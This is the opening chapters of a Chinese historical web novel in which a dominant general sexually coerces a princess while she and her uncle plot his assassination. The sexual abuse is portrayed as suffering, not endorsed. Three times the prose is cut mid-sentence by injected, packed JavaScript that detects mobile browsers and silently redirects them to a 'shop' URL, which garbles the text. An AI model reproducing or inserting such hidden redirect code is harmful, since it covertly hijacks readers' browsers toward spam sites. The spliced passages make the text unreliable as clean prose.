《公主应未眠》 1. 第 1 章 建和二年,为大兴立国第二百个年头。 春日已过,正值初夏,荒废十年后,皇室再办亲蚕礼,因皇帝年幼并无皇后,太后抱疾,大礼由长公主司妤主持。 自长生教作乱,各地争战,朝廷日益羸弱,先帝驾崩后,便只剩孤儿寡母,性命尚且难保,更不用谈皇家尊荣。 似今日这样万千仪仗的排场,似乎好久不曾有过了。 司妤身着黄罗鞠衣,从凤驾中下来,领着后妃与命妇,步行至蚕坛,六肃、三跪、三拜,再至桑田采桑,一旁随侍的乐人宫女便在此时齐唱采桑曲。 这一片采桑景与歌声振奋着人心,似乎这一年终于要风调雨顺,男耕女织、天下太平,百姓终能安居乐业。 有随同的老臣甚至低头拭泪,昔日强盛的大兴,绵延两百年,十多年动乱,如今竟还有如此盛大而又庄严的一幕,这是否是个好兆头? 繁复的亲蚕礼下午才结束,司妤在浩浩荡荡的仪仗队中回宫。 她身着鞠衣,戴九花树冠,罗衣金饰下,是一张倾国倾城的美人脸。 司妤是先帝第一个孩子,出生时朝霞漫天,又有倾世的美貌,自然被奉为大兴的一颗明珠,哪怕如先帝那般宠幸术士、不理朝政的人,也独爱这个长女。 但上天给她的一切尊荣,止步于两年前。 回宫,司妤换下鞠衣,换上常服,至长乐宫拜见太后,禀告亲蚕礼事宜。 太后点头,怜惜道:“这两日辛苦你了,既回宫,便好好休息吧。” 司妤道:“祭蚕神,何谈辛苦,是儿该做的。” 太后回:“愿今年年成好,百姓丰收。” 说完,太后沉默一会儿,开口道:“还有一事,高太尉已率军回京,今日傍晚能至京城外,明日进京面圣。” 司妤脸上猛地一白,整个人都崩紧起来。 高盛,他要回来了…… “是,儿知道了。”司妤用尽全身力气,在母后面前维持着表面的平静。 拜别太后,离开长乐宫,司妤只觉全身无力,脚步似乎飘在云端。 五日前说他得胜,原以为回京还有几日,没想到这么快就到了。 若没有他,她是尊贵的大兴公主,若有他,她只是……玩物。 高盛在第二天一早进宫面圣,司妤在后宫中得知,他又被封了广平侯,兼太尉,统兵三十万。 广平侯,已是开国功勋级别的爵位,食邑四千五百户,放眼天下,能有他这等爵位的没有他这等军权,有他这军权的没有他这爵位。 但她做皇帝的弟弟有什么办法?不过是个十三岁的傀儡,京中军队和朝政,已经让高盛和他一手扶持的严尚书把持了。 司妤放下手中的书,透过漪兰殿的花窗,看向遥远的天际。 宫人来报这消息没多久,又有人过来禀报道:“公主,高太尉府上随从在殿外求见。” 司妤神色微变,转过头,她身旁宫女如缨已经开口问:“那是什么人,谁将他带到公主寝殿外的?” 那宫人连忙跪下,低头颤颤巍巍道:“他……他有太尉腰牌,说,说是太尉口令,我等……” 司妤心中了然,这些宫人,许多人曾亲眼看见高盛在未央宫大殿上杀朝臣,也知道吴贵妃就是被他缢杀,谁又敢驳他的令? 就算是她这个公主,还真敢不让那人进来不成? 她开口:“准见。” “是。”宫人于是慌慌张张下去了,不一会儿,带来一人。 那人不过是个仆从模样,看上去也是出身行武,到了漪兰殿中,虽也算恭谨,但明显不懂进宫见贵人的规矩,脚下鞋履将地板踩得“哐哐”作响。 漪兰殿中众人听得皱起眉头,却无人敢呵斥。 隔着珠帘,那人在外向司妤见礼,然后道:“小人朱勇,为高太尉府上随从,得太尉之令,命小人进宫来请公主,请公主即刻往太尉府上一见。” 如缨脸上震怒,想发火却又不敢,只能看向司妤。 司妤心中既是屈辱,又是愤怒,忍住情绪,微恼道:“本宫今日疲惫,出宫之事,明日再说。” “但太尉交待,此事不容有失。”朱勇说。 如缨忍不住驳斥:“公主说了,明日再说!” 朱勇也强硬道:“太尉之令,小人不敢含糊,誓死也要遵从。” 这意思,是今日要么死,要么请出司妤? 如缨怒了,恨不能当即就叫人将此人拖出去砍头。 可他们谁敢砍高盛的人? 沉默一时在殿中蔓延开来,高盛不在此,却似乎提着剑看着这里。 司妤终究答应道:“好,待我更衣便去。” “那小人在外等候。”朱勇说。 朱勇出去,如缨已红了眼,朝司妤道:“高盛怎敢如此,对公主太不敬了!” “正是因为如此我也无可奈何,所以他才敢如此。”司妤道。 大概,在他眼里,她早已是他的禁|脔吧。 如缨拭了拭泪水,泣声道:“那,真要去高府吗?让人知道,公主的颜面置于何地?” 司妤紧捏着手上的书,深吸一口气:“我扮作太监,随赵敬一起出宫。”赵敬是漪兰殿的管事太监。 “那……”让公主扮太监,何其委屈,可若乘着宫中舆轿出宫,谁都知道公主进了高盛府上,那更无尊严。 如缨无奈,点点头。 司妤去了头上珠钗,拆了发髻,换上小太监的衣服,在赵敬带领下出了宫。 等出了宫门,赵敬才赶紧找了辆马车,载着司妤往高府去,到了高府,又按司妤的意思,绕到了后门。 朱勇立刻下马,让人去通传,与后门的仆人道:“禀告太尉,贵人已接到了。” 那仆人随即离去,随后回来道:“太尉正在厅上宴客,请贵人先进后院休息。” 就这样,打扮成小太监模样的司妤被领进了高府后院,绕过一道□□,一条长廊,到了个寝房,下人将她领到房中,便带上门出去了。 司妤知道,这原本是开国功臣、清阳侯张淼府?,奈何张家人烟凋零,所以渐渐败落,也失了这宅子,如今竟为高盛所得。 张家大堂之上有副牌匾,上书“力挽狂澜”,为高祖皇帝御赐,表彰清阳侯曾苦战三日,救高祖突围的赫赫功绩,如今这里住的,却是高盛…… 司妤在房中坐着,偶尔能听见外面的宴饮之 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13730685|145019||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 声。 有丝竹声,有男人的笑声,大约能猜出,在外面喝酒的正是高盛手下那一干将领。 不知等了多久,到天色渐晚,夕阳西下时,外面的宴饮声停了,门外有了动静,司妤心中一紧,猛地坐直了身体,一抬眼,就见高盛从外面推门而入,魁梧的身形如山一般挡住大半的夕阳。 她屏住呼吸,一动不动看向他。 高盛关了门,大步走到她面前,站定,将她上下打量一眼,开口道:“公主穿的这是什么?” 司妤回答:“青天白日,众目睽睽,太尉突然约见,只能如此。” 高盛笑了一下,神色带着几分不悦:“下次还是不要了,我可不愿和阉人同床共枕。”说话间,挑起她下巴,定定瞧了一眼,审评道:“大半年不见,公主似乎更好看了,莫非这就是别人说的,长开了?” 说着露出满意而欣赏地一笑。 司妤不说话。 他直接将手往下。 司妤呼吸一窒。 转瞬间,衣衫已被扯掉,他自上而下看着她,发出一阵满足的慰叹。 看着屋顶,司妤咬着唇,想起两年前。 父皇驾崩,国师吴弼与吴贵妃弄权,意欲杀太子,扶其子上位。 为震慑朝臣,吴弼召来凉州刺史管洪,让其进京扶三皇子平州王为新帝。 生死存亡之际,舅舅给母后出主意,说吴弼虽兵多将广,但其手下大将有一人名叫高盛,骁勇无敌,若能策反高盛,则吴弼可除。 舅舅说,高盛曾在酒后放言,天下女子,不过一具娇好皮肉,他不感兴趣,所以攻城掠地得到美人,尽数分给手下将士,他觉得尚能一看的,唯有长公主。 此话大不敬,但天下大乱,朝廷连叛军都无能为力,又怎么惩治这样的悍将? 但这话却给了舅舅灵感,他提议,由她这个长公主亲自去见高盛,赐他骠骑将军大印,说服高盛反吴弼,扶太子登基。 那时她才十七,忐忑而又无奈地拿着大印去了,说是“赐”,其实是“献”,将大印呈给他,同时献出的,也有自己。 高盛答应了,对她也并没有一点客气。 那一晚,她大概会记一辈子吧。 做了十七年公主,尊贵无比,高高在上,但那一刻,她只是一具任人摆布、供人随意发泄的皮肉。 有一度,她甚至觉得自己活不到明天。 后来她自然活下来了,被抬回皇宫,也在那一日,高盛杀了管洪,收编管洪的队伍,进宫缢杀吴贵妃,处死吴弼,软禁平州王,扶了她弟弟做新帝。 他做得干脆果断,时至今日,她也不知舅舅这主意是好是坏,是不是他们此举,反而葬送了大兴的江山,因为高盛显然比管洪更可怕。 管洪死了,高盛却把控了京师,再无退出的迹象,而她,也成了他的所有物。 在那一晚后,京师局面控制,他便时常出入皇宫,向皇帝觐见后便要转道漪兰殿,在她寝宫待上大半日或是一整夜才走,而今日这番,直接让人去叫她出来,还是第一次。 这不是最后一次,也不是最过分的,这只是一个信号,告诉她,平叛得胜归来的高盛,日后会更加猖狂。 2. 第 2 章 翌日清晨,高盛才放司妤离开,并同她交待,以后不许作这副打扮,他不喜欢。 司妤想为自己遮上最后一块遮羞布,迟疑半晌,却也没能同他辩驳,最后沉默离开。 仍是穿着那身太监服,拖着无力又酸痛的身躯往高府后门走,她深深埋着头,狼狈得像个被召进府中陪侍的妓女。 妓女尚且能光明正大,她连妓女也不如。 行至屋外几株花树旁,迎面撞见一人,白面有须,紫袍玉带,由仆从领着往这边来,抬眼一看,似乎是尚书令严淮。 严淮是先帝时旧臣,当时官至给事中,司妤也曾见过,如今在此地再见,既是难堪,又是尴尬,连忙垂下头,连步子都迈得急了一些,唯恐他认出自己,恨不能化为无形,飞出院墙外。 严淮却已朝她看来,再靠近几步,神色一愣,显然认出了她,连忙抬手欲行礼,到胸口,却又迟疑一番,此时她已随朱勇往这边而来,朱勇朝他道:“严令君。” 严淮连忙退让,避至一旁,让他们先行。 司妤仍旧垂着头,跟着朱勇往后门而去。 司妤能感觉到背后的人久久看着自己,随后隐隐听见一阵叹息声。 她心中一怔,忍不住回过头,就见严淮神色无奈又悲戚地摇摇头,又往高盛房中而去。 似乎,他也不忍见堂堂公主,却被召进府陪侍。 直到严淮背影远去她才回头,继续往前去,到后门,乘上了回宫的马车。 至宫中,漪兰殿内已弥漫着药味。 司妤一边进浴房,一边由人脱下小太监的衣服,步入浴池中,宫女已经端来了那碗药汁。 她接过药碗,别无二话,一口饮尽。 这是一碗宫中秘药,用来让人避孕的,她从两年前就开始服用。 如果有一日,她怀了那人的骨肉,生下他的孽种,她无法想象自己要怎么面对那孽种,又如何处置孽种。 所以不发生这样的意外,是唯一的选择。 宫女马上递过来饴糖,让她含服,她摇了摇头。 药很苦,一口气灌入空空如也的腹中,也很难受,几乎要忍不住吐出来。 但她要自己记住这苦的滋味,要加剧身体上的痛楚,好让自己时时清醒,以免有一日失去了斗志,忘却不甘,真的做一个任人摆布的玩物。 皇上今年满了十三,还有五年他才十八,如果他争气,是个睿智的明君,也许只用十六岁…… 到那时,皇帝亲政,也许将有力量诛杀高盛这样的佞臣。 所以,她至少还要熬三年,也许是五年…… 如此想着,她问:“皇上在做什么,知道吗?” 如缨回道:“皇上昨夜偶感风寒,有些不适,似乎被太后娘娘接去了长乐宫。” 司妤一惊,忙问:“严重吗?有没有让太医看过?” “看过,应是不严重,是坐着肩舆去的。”如缨说。 司妤松一口气。 皇上不能出事,他是她与太后的倚仗,若皇上出事,还不知这江山会怎样。 终究是不放心,她道:“待会儿我去长乐宫看看。” 如缨担心:“公主不休息一会儿?” 她摇摇头。 才经历完昨夜,她怎么能睡得着呢?她就盼着有点什么事,好冲淡自己对昨夜的记忆。 待沐浴完,她就梳妆打扮,去了长乐宫太后寝殿。 皇上果然在此处,盘腿坐在榻上,正在喝汤膳,司妤向他请安。 皇上连忙叫她起身,看着她,欲言又止。 他已十三岁,知晓男女之事,却又知道得不多,心里知道他们这几人的命是由姐姐的牺牲保全的,也大概知道是什么样的牺牲。今日一早,他就听闻高盛竟胆大包天,叫皇姐这个长公主出宫去,皇姐又能如何,只能出宫,到现在才归。 他是皇帝,原本应该号令天下、给母亲和姐姐无上尊荣的。 此刻他怜惜皇姐,却不知说什么,司妤也看出幼弟的局促,主动问他:“听闻皇上偶感风寒,现在怎么样了?” 皇上回:“好多了。” 一旁太后也说:“一早咳嗽,他还坐那肩舆吹了风,好在到我这里喝了姜汤便好多了,鸡汤也是温补之药,再喝一碗休息两日也就好了。” 这一边皇上已喝完了面前的鸡汤,太后让人送来果子给他,又给司妤送了一份。 司妤看着面前的五色果子,却是一口也吃不下,看看弟弟,又看看母后,终于开口道:“母后,皇上若好了许多,就让他回未央宫读书吧。” 太后道:“但一早已让先生回去了。” 司妤立刻道:“就算先生回去,也可再召,先生一时半会儿来不了,皇上也可自行温书,总比在这儿好。” 太后满脸心疼:“皇上还咳呢,读书也不在乎这一日两日,万一熬坏了身子……” “母后,我们等得,大兴的江山可等不得,京中的高盛,京外的各方刺史,还有四处作乱的长生教,这些都等着皇上去收服、去平定,母后莫非想皇上做大兴的亡国之君?” 太后被她这话问得陡然一震,半晌才回过神,下意识反驳道:“你这话也太不该了,这不是诅咒我大兴么,那又何至于?” 司妤深吸一口气,无从解释心中的难受。 怎么会何至于,当一个小小刺史敢盘踞京城、不将皇帝放在眼里;当叛军打到京城,朝廷无力抵抗;当皇室的亲蚕礼,连仪仗队都凑不齐,这一切离亡国还远么? 这时皇上开口道:“皇姐说的是,是朕不该,朕这就回去温书,并召先生进宫替朕讲课。” 司妤欣慰地看向他:“皇上,姐姐只是不想大兴两百年基业,毁在我们手上。” 皇上点点头,放下果子,揭了腿上的薄毯,下榻向太后辞别。 太后叹息一声:“那你便去吧,晚上记得喝药。” “是,孩儿去了。”皇上离开长乐宫。 太后看着他远去的背影,司妤也看着。 她自然怜惜弟弟,可她也知,有些能人悍将,在治世便是能臣,在君主羸弱的乱世,那便会成为大奸臣。 譬如高盛,明里说是护卫皇上,带兵剿灭长生教,平定了歧州,事实也是趁机把控兵权,初入京时他尚且听命于管洪,两年之后的今年,京城已无人能遏制他。 谁能知道他对她的污辱只是猖狂忘形,还是真的已视司姓皇室如无物? 两日后,宫中举办晚宴,犒赏高盛及此仗立功的凉州军士。 犒赏得胜武将,是大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13730686|145019||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 兴旧例,但至先帝一朝,因鲜少有胜仗,宫中已多年不曾举办了,如今高盛得胜,是由尚书府提议的,宫中照办。 司妤猜测,高盛此举,是为增加自己的荣耀与威信,同时也昭告天下,自己是天子近臣。 皇帝年幼,她与太后也会出席。 晚宴当日,司妤着五彩烟霞般的大袖披衫,梳着端庄宽广的云髻,遍插六对金银镶宝石钗子,一如往日,华美如仙娥。 她到时,武将们已坐在下方桌案旁,见她来,齐道“公主千岁”,尽管她不曾移目,却也知道所有人都低着头,独有一人目光肆意看着她。 那自然是高盛。 她于皇帝宝座下首坐下,正好与高盛相对。 高盛的目光,有一种把玩与欣赏,理所当然,她本就是倾城之姿,盛妆之下,没有人不会惊艳。只是旁人不敢表露,他却敢。 她到没一会儿,太后与皇帝便一起到了,所有人一齐离座,向皇帝见礼。 十三岁的小皇帝在龙椅上正襟危坐,开口道:“众卿平身,赐座。” 待重新入席,皇帝道:“此番剿灭歧州叛乱,高太尉与众将士劳苦功高,今日朕设此宴,以嘉奖诸位忠肝义胆,奋勇卫国。” 高盛道:“身为大兴子民,抵御敌匪,保护京师,是臣等职责。” 皇帝道:“诸位杯中之酒,为宫廷应功酒,名曰,‘气吞山河’,先帝朝时所酿,今夜众爱卿肆意畅饮,尽兴而归。” 众将士齐道“谢皇上”,然后便开始宴饮,俨然一副君臣同欢模样。 看着这场景,会让人恍惚觉得安宁盛世,歌舞升平。 然九州之内,长生教仍四处作乱,各地军阀各自为政,大小争战不停,可谓民不聊生。 高盛有万夫莫挡之勇,他是那个荡平天下的能臣么? 司妤抿了一口酒,见皇帝也饮下酒,明显不习惯,只是微微皱眉。 这酒是犒劳武将的,性烈,皇帝也才刚学饮酒,不适也要忍着。 歌舞起,没一会儿,高盛杯中酒尽,一旁宫女要替他斟酒,他却示意宫女停下,看向司妤,开口道:“公主——” 司妤没想到他会提起自己,只能将目光投向他,正色道:“高太尉。” 高盛脸上带着几分轻佻的笑:“公主自进大殿,便不曾正眼看过微臣,莫非是嫌微臣行武之人,粗鄙不堪?” 司妤不知道他要做什么,却也能从眼角余光中瞥见他身旁的宣武将军卢慈微低了头,嘴角浮起一抹笑。 她与高盛的关系,说隐秘也隐秘,从未公之于众;说不隐秘也不隐秘,因为许多人都知道高盛为何倒戈,也知道高盛常宿宫廷。 卢慈是高盛手下一名悍将,对其忠贞不二,当然知道这事。在他眼里,这便是高盛与长公主之间的调情。 但司妤却只觉双颊滚烫,心中梗塞。 她依然只能装模作样,温声回道:“自然未有此事,太尉多虑了。” 高盛便道:“既如此,那公主可否替臣斟一杯酒,好让臣沾一沾天家贵气?” 所有人都看向这边,原有的喧哗此时都安静了几分。 他是真的不准备给她留一丝体面。 他要拿她当玩物,也要让所有人知道她是他的玩物。 3. 第 3 章 严淮坐在司妤旁边,此时开口道:“子阳说笑了,公主金尊玉贵,哪里能斟酒,不若我给你斟酒,你我二人喝一杯吧。” 说着要起身,高盛摆手,“你也知公主金尊玉贵,你可不能和公主比。”说着看向司妤,脸上那抹轻佻没了,换来一阵凝视,带着压迫,似乎这杯酒,她非斟不可。 “高太尉就算为得胜之师,也是大兴臣子,公主皇室血亲,焉有替臣子斟酒之理?我看太尉未免太狂妄了些。” 说话的正是郭循,也是太后之兄,司妤的舅舅,皇帝登基后,领了郎中令之职,统管宫廷禁卫。 此时高盛还未说话,他身旁的卢慈便道:“好一个‘得胜之师’,轻飘飘四个字,就掩过了我们流过的血,死过的弟兄,郭郎中倒是不狂妄,怎不见你带兵平叛?” 此话一出,满座西凉武人皆笑。 郭循是个手无缚鸡之力的书生,先帝朝时,因先帝宠信吴弼与吴贵妃,封吴弼为大司空,领郎中令,郭循当时为大鸿胪,掌外宾事宜,不领兵权。 到新帝登基,高盛入京,太后趁机封郭循为郎中令,总算将禁卫军权捏在了自己手里,但如此仓促升任的郎中令,自然比不过场上这些十几岁便在战场厮杀的武将。 郭循被笑话,冷声一哼,不屑道:“武夫之见,怕是在足下眼里,世人只有拳脚之强弱,诗书礼义都不放在眼里,敢问,这与牲畜何异?” 说话间,自然带着一种世家大族的傲气。 卢慈与高盛为同乡,同是西凉边境草莽出身,此番被嘲笑不懂诗书礼义,先是大怒,面红耳赤,随后大笑,回道:“要不然,明日郭郎中便去商州念诗好了,那商州剌史不听调令,拥兵自重,我倒要看看,郭郎中如何将他给念死了!” 场上又是一阵哄笑。 郭循越发生怒,却无以言对,不禁斥声道:“武夫,草莽!难怪狂妄自大,不尊天子,我不与你们动嘴!” 此时高盛一把抽出身旁佩刀,厉声道:“我等草莽也不会动嘴,只会动刀!” 郭循看着那刀,一动未动,倒是小皇帝没料到有此一出,吓得往后一躲。 郭循怒目而视:“太尉在殿前动刀,惊扰君上,是何意思?” 一旁严淮道:“二位息怒息怒,子阳,大殿之上,你这是做什么?” 此时太后道:“喜庆日子,就不要争论了,妤儿,高盛为有功之臣,你便替他将酒满上吧。” 事已至此,剑拔弩张,谁也不知高盛还会干出什么事来,有母后发话,司妤也自知皇室无权,无法抗拒,只好起身去给高盛斟酒。 郭循冷哼一声,拍案而起,转身气冲冲出了大殿,就此退席。 司妤看看离去的舅舅,无可奈何,只能到高盛身侧,蹲下身,执起酒壶替他倒酒。 没想到此时,高盛放在桌下的手竟探进了她裙下。 她不由一震,既悲又愤,脸欲滴血,忍不住将茶壶捏紧,迅速替他将酒壶倒满,起身回席。 直到她坐下,只见对面的高盛施施然拿起方才探入她裙底的手,意味深长捻了捻手指,随后才拿起酒杯,看着她,怡然自得地饮了一口酒。 他人没注意这其中猥|亵之意,司妤却是再清楚不过,移开目光,不再看他。 在场的确都是一群莽汉,喝起酒来便失了礼数,声如洪钟,大吆小喝,太后与皇上在酒过三巡便离席了,司妤也一同离席,只留文臣武将仍在宴饮。 殿外凉风吹得人清醒,但哪怕清醒,司妤也不知日后该如何是好。 她想,高盛今日此举,是为立威,从此他在朝中威信更上一层;而如果她不斟那杯酒,又会怎样? 他真会动刀杀舅舅吗? 司妤不知道,尽管高盛若杀了舅舅,势必惹怒朝中公卿,但她不敢去赌,若失了舅舅,他们便彻底没人了。 她往漪兰殿去,没走几步,有宫人过来,呈给她一张纸条,说道:“公主,郭郎中让呈给公主的。” 司妤接过纸条,上面写着一个字:忍。 这也是他们之前所想的,先让高盛以朝廷名义平乱,等到皇帝长大亲政,再将其赐死。 这其中最需要忍的便是她。 她撕了纸条,攥在手中,沉默着回了寝宫。 时候已不早,宫女替她拆下发髻钗环,还在沐浴,便听外面有异样动静,只听宫女声如蚊呐道:“太尉,公主还在沐浴。” 这话音还没落下,高盛便挑帘进来了。 一旁宫女都吓了一跳。 司妤保持着平静,开口道:“你们先下去吧。” 倒不是她冷静,而是她不想此时的不堪被更多人看到。 宫女退下了,高盛走到浴池边来,蹲下身抬起她下巴:“还是第一次看见公主沐浴,可真美。” “殿上那么多人,太尉却要当着他们的面差使我、来后宫,太尉是存心作践我么?”她问。 高盛反问:“这么说,做我的女人,是被作践?” 司妤既然要忍,就不至于惹恼他,便攀上他的脖子,笑道:“太尉何止手中之刀利,嘴也利,我说不过太尉。” “是吗?”高盛笑道:“我最利的,可不是这两样。”说完,将她从水中捞了起来。 他一开始,便是无休无止,毫无顾忌,司妤几乎要将嘴唇咬破。 好在比之前高府那晚好,夜至三更,他停了下来,揉着她身躯,满意道:“公主封号永宁?” “是,父皇所封。”司妤说。 高盛看着她道:“太过平庸,我记得以前还有个永宁王,要我说,公主这般姿容,该取个,比如……倾城,还有些什么词,‘如花似玉’?对,似玉……” 他抚着她柔嫩的肌肤,说道:“我若为帝,就封你个玉妃。” 司妤本已疲惫至极,春泥一般躺在他怀中,此时一听这话,不由一震。 高盛之前喝了不少酒,此时又是纵欲之后,得意忘形,所以说了这话,但他的手就覆在她腰上,自然也能感觉到她刚才的变化。 她也猜到他大概觉察到了,便抬头嘟唇,不悦道:“怎么是妃,不是皇后?这么说,太尉有了我,还想着其他女子?” 高盛笑了,“倒还没见到比公主美貌的女子。” 司妤道:“我若是为帝,就给太尉取封号叫……巴蛇。” 高盛好奇:“巴蛇,那是什么?不像什么好话。” 司妤回答:“怎么不是好话,巴蛇为上古传说之蛇,青黑色,身形巨大,能吞象,力大无穷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13730687|145019||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ……而且,蛇好淫。” 高盛显然很受用,大笑,一把掀了她被子,覆上她身道:“它不淫,生来做什么?” 她似乎打消了他的疑虑,但也勾起了他的欲望。 只是她已然在心里确认,高盛此人,就没准备做大兴的忠臣,他的确早有异心,今日所做的一切,都是为了篡位。 他们在等皇帝亲政,但他们忘了,高盛可不傻,他怎么会让皇帝亲政? 翌日一早,高盛离去,司妤便想去见太后,思虑片刻,又觉得太后少谋断,和她商议也是无用,反而容易走漏消息,还不如直接同舅舅商议。 于是下令召舅舅入宫。 郭循入宫,司妤屏退左右,与郭循道:“舅舅,我确信,高盛有不臣之心。” 郭循倒不算太震惊,问:“如何?” 司妤神色微敛,而后才轻声道:“昨夜他又到了我这里,得意之时,他说,他若为帝,要封我为妃,竟还真替我想封号……舅舅,可想而知,他有谋逆之心,而非做大兴的忠臣。” 郭循神色凝重起来,点头道:“从他当初自封太尉,大权独揽,到昨日大殿上的狂妄,有此心,也不奇怪。” 司妤连忙问:“那舅舅觉得眼下我们该如何?” 郭循满面愁容,不出声。 司妤急道:“总不能一直等着,等他权势日益壮大,那不是坐以待毙?那吴弼与吴贵妃虽说也是失道寡助,但他们的下场,也许就是我们的明日!” 郭循也是一惊,起身踱了几步,沉思道:“昔日霍光以臣子身份,先立刘贺为帝,再废其帝位,改立刘询,如今高盛杀了吴氏一族,软禁着平州王,以后说不定也会先杀我等,废皇帝,改立平州王!” “若等那时,我们更无力量与他抗衡。”司妤说。 随后她恨声道:“昨日他进漪兰殿,我真想唤侍卫来将他乱刀砍死,可他武艺高强,普通人哪里是他对手!” 郭循突然停了踱步:“我倒想起一人。” “谁?” “左中郎将吕骞!” 司妤想了想:“吕骞?舅舅上次好像说过,他与吴弼交好,并不服您?” 郭循道:“他的确不喜欢我,可他更恨高盛,此人武艺高强,手下也有一众悍将,我回去后寻机与他交谈,或许能说服他出手对付高盛。” 司妤听出了其中意思,问:“舅舅是想,借刀杀人?” 郭循未料司妤反应这么快,点头道:“正是,此人曾在青阳山中徒手打死猛虎,若好好筹谋,寻得机会,一定能手刃逆贼!” 司妤不曾与吕骞接触,不知他性情,但她相信舅舅,便正色道:“若舅舅觉得可行,那一定可行,此事就拜托舅舅了,若有用得上我的地方,舅舅尽管说。 “另外,今日这番话,我只与舅舅说过,母后与皇上那里我不准备提,母后胆怯,皇上年幼,不一定藏得住事。舅舅也须谨慎,若让高盛知道我们有此心,一定不会放过,他杀起人来可毫不手软。” 郭循立刻道:“我自明白,此事我不会向任何人透露,我出去了,你便在宫中等我的消息。” 司妤道“好”,目送郭循离开。 看着舅舅去远的身影,她在心中祈祷但愿一切顺利。 4. 第 4 章 高盛回府,仆从禀告,参军李风华已在偏厅等候多时。 李风华为人谨慎持重,无事不会轻易过来,高盛即刻去偏厅。 “太尉。”见了高盛,李风华行礼。 高盛心情怡然,往案边一坐,问他:“公思何事?”说着抬手让他坐。 李风华坐下,稍作犹豫,道:“太尉从宫中回来?” “嗯。”高盛随口答。 李风华一边斟酌,一边温声道:“当今天下不平,先有长生教刘茂反叛,后有吴弼、管洪等人乱政,亦有各路诸侯拥兵自重,皇室无能,放眼天下,其中佼佼者,当属太尉。昔日太尉为都骑校尉,领兵至我黄家岭,见民女在河边洗衣,军士竟无一人冒犯,那时属下便知太尉乃不凡之人,之后果然,一朝进京……” “你有话便直说吧,赦你无罪。”高盛等不及了,喝了一口茶,催促道。 李风华停下了开场白,于是直说道:“属下觉得,太尉如今拥护天子,替天子分忧,当恪守为人臣子之本分,以天子为尊,尤其在明面上。” 高盛反问:“我没以天子为尊吗?没守臣子本分?” “太尉的确处处以天子为尊,唯有在长公主之事上……”他迟疑一下,缓声道:“外面有传言,太尉秽乱宫廷……” 高盛忍不住笑了,绕了半圈,原来在这里。 他无所谓道:“你以为他们不想,那是他们没机会。” 李风华无奈:“但若授人以柄,便失了道义,周边各路诸侯虎视眈眈,若因此而诬陷太尉不尊皇室,存心忤逆,有不臣之心,从而出兵讨伐,那京城岂不危险?” 高盛问:“按你说,我现在开始,清心寡欲,再不见公主一面,他们便会奉我为公卿了?” 李风华一时语拙,被他问住了,最后只能道:“属下还是觉得,此事不可太过……” 眼见高盛脸上不耐烦,不愿再听了,李风华只好打住,马上道:“属下有一计,太尉尚未娶妻,不如在京中公卿中择一户联姻,一来寻得联盟,共同御敌;二来早日绵延子嗣,以保后世基业。” 高盛觉得李风华还是变着法儿想他不碰司妤这个玉做的美人,但他的话也有道理,京中公卿多不服西凉军,若真能寻一姻亲结盟,也算削弱敌人,强大自己。 他便道:“倒也有些道理,那你可有合适人选?” 李风华连忙道:“属下心中属意建州马家的马怀仁,此人为昔年董太傅外孙,世宦之家,曾官任议郎,被尊为经学大师,若能与之结亲,太尉可不就成了经学大师的女婿?” 高盛心中十分不屑,他最讨厌那些高高在上的腐儒,如今却要去做别人女婿。 但不屑归不屑,他必须承认,马家这样的身份好使。 “他能同意结亲?”高盛问。 李风华道:“马怀仁虽是经学大师,却生性懦弱重利,属下备好大礼,许以高官,他必然心动。” 高盛点头:“那此事你去办。” “是。”李风华退下,高盛喝了口茶,突然想起了公主。 他如果成了婚,这公主会不会争风吃醋,不高兴呢? 他还没见过她不高兴的样子。 不过就算她不高兴也没什么,这可由不得她,反正不管她高不高兴,他都是要睡她的。 …… 司妤在宫中等了几日,好不容易等来舅舅的秘信。信中说,舅舅已同吕骞交涉过,此人冲动易怒,头脑简单,在舅舅言语鼓动下,已决定反高盛,诛杀行动正在筹备中。 司妤一边庆幸,一边又担心:吕骞头脑简单,高盛可不算简单,他不只武艺高强、手下强将如云,更难得是他智计也不差,吕骞真能成功杀了他吗? 五日后,高盛竟让人给她送了幅拜帖来,说隔天过上汜节,他将宴请群臣,要她务必前去。 上汜节是三月三,京中人或宴请,或出游,算是极热闹的节日。如今三月三虽已过去,但还算是春日,高盛也刚回京,这时候宴请也正常。 她当然不想去,他办宴会多半是为拉拢朝臣,她为皇室,凭什么要赏他这个脸? 不想得罪他,她先答应下来,预备等到前一日称病,临时推拒,这样高盛大概不会怀疑,就算怀疑了,也不敢将她怎么样。 但就在第二日,郭循进宫来找她借宫中宝器,逐日弓。 逐日弓为名匠打造,能射三百步,非大力士不能拉开。 郭循倒谨慎,只说借弓,却没说别的,司妤猜测这逐日弓很可能与杀高盛有关,便问:“听说逐日弓一般人不能拉开,舅舅有能拉弓的人?” 